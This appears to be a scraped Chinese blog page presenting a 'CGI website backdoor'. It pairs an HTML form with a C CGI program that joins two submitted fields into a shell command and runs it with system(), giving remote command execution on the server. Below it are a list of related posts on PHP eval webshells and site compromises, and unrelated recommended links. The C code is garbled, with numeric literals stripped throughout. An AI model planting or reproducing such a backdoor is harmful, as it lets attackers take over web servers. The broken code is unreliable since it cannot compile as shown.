• 运行截图:
  • html开发:
     <html>
    <body>
    <form id="form" name="form" method="post" action="../cgi-bin/run.cgi">
    <p></p>
    <input type="text" name="cmd1" id="user" >
    <p></p>
    <input type="text" name="cmd2" id="pass" >
    <p></p>
    <input type="submit" name="go" id="run" value="submit">
    </form>
    </body>
    </html>
  • cgi开发
     #define _CRT_SECURE_NO_WARNINGS
    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h> void main()
    {
    //显示html文本
    printf("Cotent-type:text/html\n\n");
    //获取表单信息
    char szpost[] = { };
    gets(szpost);
    //输出表单信息
    printf("%s", szpost); //对表单信息进行处理,把'+'转换成' '
    char *pstart = szpost;
    for(int i=;i<;i++)
    {
    if (szpost[i] == '+')
    {
    szpost[i] = ' ';
    }
    } //处理':'号
    char *pos1 = strstr(szpost, "%3A");
    if (pos1 != NULL)
    {
    *pos1 = ':';
    *(pos1 + ) = ' ';
    *(pos1 + ) = ' ';
    } //处理'\'
    pos1 = strstr(szpost, "%2F");
    if (pos1 != NULL)
    {
    *pos1 = '\\';
    *(pos1 + ) = ' ';
    *(pos1 + ) = ' ';
    } //获取第一个输入框的内容
    char *p1 = strchr(szpost, '&');
    if (*p1 != NULL)
    {
    *p1 = '\0';
    }
    //输出第一个输入框的内容
    printf("%s\r\n", szpost+); //获取第二个输入框的内容
    char *p2 = strchr(p1 + , '&');
    if (*p2 != NULL)
    {
    *p2 = '\0';
    }
    //输出第二个输入框的内容
    printf("%s\r\n",p1+); //整合成cmd指令
    char cmd[] = { };
    //生成随机数,写入到随机数文件中
    time_t ts;
    unsigned data = time(&ts);
    srand(&ts);
    int num = rand(); //整合cmd指令,并重定向到文件
    sprintf(cmd, "%s %s >%d.txt", szpost + , p1 + , num);
    //文件名
    char filename[] = { };
    //生成文件名
    sprintf(filename,"%d.txt", num);
    //执行指令
    system(cmd);
    //打开文件
    FILE *pf = fopen(filename,"r");
    //读取文件
    while (!feof(pf))
    {
    char ch = fgetc(pf);
    putchar(ch);
    }
    //关闭文件
    fclose(pf);
    }

51.cgi网站后门的更多相关文章

  1. 网站后门shell-----eval

    我们先来看看网站被攻击的代码: <?php error_reporting(E_ERROR); unlink('user.php'); unlink('../member/login.php') ...

  2. thinkphp网站后门-发现后门(Webshell)文件

    不知道能不能解决, 1.登录阿里云后台,找到后门文件删除 2.执行 中国镜像 composer config -g repo.packagist composer https://packagist. ...

  3. 动态网站技术CGI

    递信息的规程.CGI规范允许Web服务器执行外部程序,并将它们的输出发送给Web浏览器,CGI将Web的一组简单的静三种主流的动态网站技术: ASP JSP PHP 除之外,此还要了解的动态网站技术 ...

  4. 阿里云提醒 网站被WebShell木马后门的处理过程

    昨晚凌晨收到新客户的安全求助,说是阿里云短信提示,网站有webshell木马文件被植入,我们SINE安全公司立即成立,安全应急响应小组,客户提供了阿里云的账号密码,随即登陆阿里云进去查看到详情,登陆云 ...

  5. 360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法

    360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法 如何做好网站的安全性测试 360网站安全检测 - 在线安全检测,网站漏洞修复,网站后门检测http://websca ...

  6. 企业网站被黑 dedecms漏洞修复办法

    前段时间网站被黑了,从百度打开网站直接被劫持跳转到了彩票,du博网站上去,网站的首页index.html文件也被篡改成一些什么北京sai车,pk10,一些cai票的关键词内容,搞得网站根本无法正常浏览 ...

  7. 修复网站漏洞对phpmyadmin防止被入侵提权的解决办法

    phpmyadmin是很多网站用来管理数据库的一个系统,尤其是mysql数据库管理的较多一些,最近phpmysql爆出漏洞,尤其是弱口令,sql注入漏洞,都会导致mysql的数据账号密码被泄露,那么如 ...

  8. Python3 CGI编程实现教程

    一.背景说明 虽然很久以前就听说“早期的网站很多通过cgi形式实现”.“C++可通过CGI形式编写网页”,日积月累对CGI也有了一些概念,但一直没真正见过一个实际运行的CGI网站,总归还是有些底气不足 ...

  9. 手把手教你查看网站遭受到的Web应用攻击类型

    常见Web应用攻击类型有:webshell.SQL注入.文件包含.CC攻击.XSS跨站脚本攻击.敏感文件访问.远程命令.恶意扫描.代码执行.恶意采集.特殊攻击.其他攻击十二种攻击类型. 如何查看网站遭 ...

随机推荐

  1. 用LinkedList模拟Stack功能

    集合体系在Java中比较重要,整个集合体系是在JDK1.2版本后出现,Collection作为整个体系的顶层,拥有整个体系通用的功能.对于其下面的小弟,也是各有千秋.下面就一道面试题来看看Linked ...

  2. Maven(一)之Maven入门

    一.Maven简介 Maven可以翻译为“知识的积累”.“专家”.“内行”.作为Apache组织中的一个颇为成功的开源项目,Maven主要服务于基于Java平台的项目构建.依赖管理.和项目信息管理.M ...

  3. HTML5的核心内容

    开发者可以放心地使用html5的理由 兼容性.HTML5在老版本的浏览器可以正常运行,同时支持HTML5的新浏览器也能正常运行HTML4,用HTML4创建出来的网站不是必须全部重建的. 实用性.HTM ...

  4. 洛谷2863 [Usaco06JAN]牛的舞会

    题目描述 约翰的N (2 <= N <= 10,000)只奶牛非常兴奋,因为这是舞会之夜!她们穿上礼服和新鞋子,别 上鲜花,她们要表演圆舞. 只有奶牛才能表演这种圆舞.圆舞需要一些绳索和一 ...

  5. 20180929 北京大学 人工智能实践:Tensorflow笔记07

    (完)

  6. 【ICM Technex 2018 and Codeforces Round #463 (Div. 1 + Div. 2, combined) D】Tree

    [链接] 我是链接,点我呀:) [题意] 让你在树上找一个序列. 这个序列中a[1]=R 然后a[2],a[3]..a[d]它们满足a[2]是a[1]的祖先,a[3]是a[2]的祖先... 且w[a[ ...

  7. 【Codeforces Round #239 (Div. 1) B】 Long Path

    [链接] 我是链接,点我呀:) [题意] 在这里输入题意 [题解] DP,设f[i]表示第一次到i这个房间的时候传送的次数. f[1] = 0,f[2] = 2 考虑第i个位置的情况. 它肯定是从i- ...

  8. 【Henu ACM Round#20 D】 Devu and Partitioning of the Array

    [链接] 我是链接,点我呀:) [题意] 在这里输入题意 [题解] 一开始所有的数字单独成一个集合. 然后用v[0]和v[1]记录集合的和为偶数和奇数的集合它们的根节点(并查集 然后先让v[0]的大小 ...

  9. CodeForces 383C Propagating tree

    Propagating tree Time Limit: 2000ms Memory Limit: 262144KB This problem will be judged on CodeForces ...

  10. KNN分类器

    KNN学习(K-Nearest Neighbor algorithm,K最邻近方法 )是一种统计分类器,对数据的特征变量的筛选尤其有效. 基本原理 KNN的基本思想是:输入没有标签(标注数据的类别), ...